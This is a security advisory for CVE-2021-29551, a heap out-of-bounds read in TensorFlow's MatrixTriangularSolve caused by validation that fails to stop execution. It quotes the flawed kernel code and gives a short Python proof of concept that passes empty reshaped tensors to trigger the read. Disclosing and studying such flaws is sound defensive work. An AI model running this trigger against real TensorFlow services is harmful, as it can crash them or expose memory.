CVE-2021-29551: OOB read in `MatrixTriangularSolve`

(updated )

The implementation of MatrixTriangularSolve fails to terminate kernel execution if one validation condition fails:

void ValidateInputTensors(OpKernelContext* ctx, const Tensor& in0,
const Tensor& in1) override {
OP_REQUIRES(
ctx, in0.dims() >= 2,
errors::InvalidArgument("In[0] ndims must be >= 2: ", in0.dims()));

OP_REQUIRES(
ctx, in1.dims() >= 2,
errors::InvalidArgument("In[0] ndims must be >= 2: ", in1.dims()));
}

void Compute(OpKernelContext* ctx) override {
const Tensor& in0 = ctx->input(0);
const Tensor& in1 = ctx->input(1);

ValidateInputTensors(ctx, in0, in1);

MatMulBCast bcast(in0.shape().dim_sizes(), in1.shape().dim_sizes());
...
}

Since OP_REQUIRES only sets ctx->status() to a non-OK value and calls return, this allows malicious attackers to trigger an out of bounds read:

import tensorflow as tf
import numpy as np

matrix_array = np.array([])
matrix_tensor = tf.convert_to_tensor(np.reshape(matrix_array,(1,0)),dtype=tf.float32)
rhs_array = np.array([])
rhs_tensor = tf.convert_to_tensor(np.reshape(rhs_array,(0,1)),dtype=tf.float32)

tf.raw_ops.MatrixTriangularSolve(matrix=matrix_tensor,rhs=rhs_tensor,lower=False,adjoint=False)

As the two input tensors are empty, the OP_REQUIRES in ValidateInputTensors should fire and interrupt execution. However, given the implementation of OP_REQUIRES, after the in0.dims() >= 2 fails, execution moves to the initialization of the bcast object. This initialization is done with invalid data and results in heap OOB read.

References

Code Behaviors & Features

Detect and mitigate CVE-2021-29551 with GitLab Dependency Scanning

Secure your software supply chain by verifying that all open source dependencies used in your projects contain no disclosed vulnerabilities. Dependency Scanning using SBOM also detects vulnerabilities from proprietary advisories that this site does not include. Learn more about Dependency Scanning using SBOM →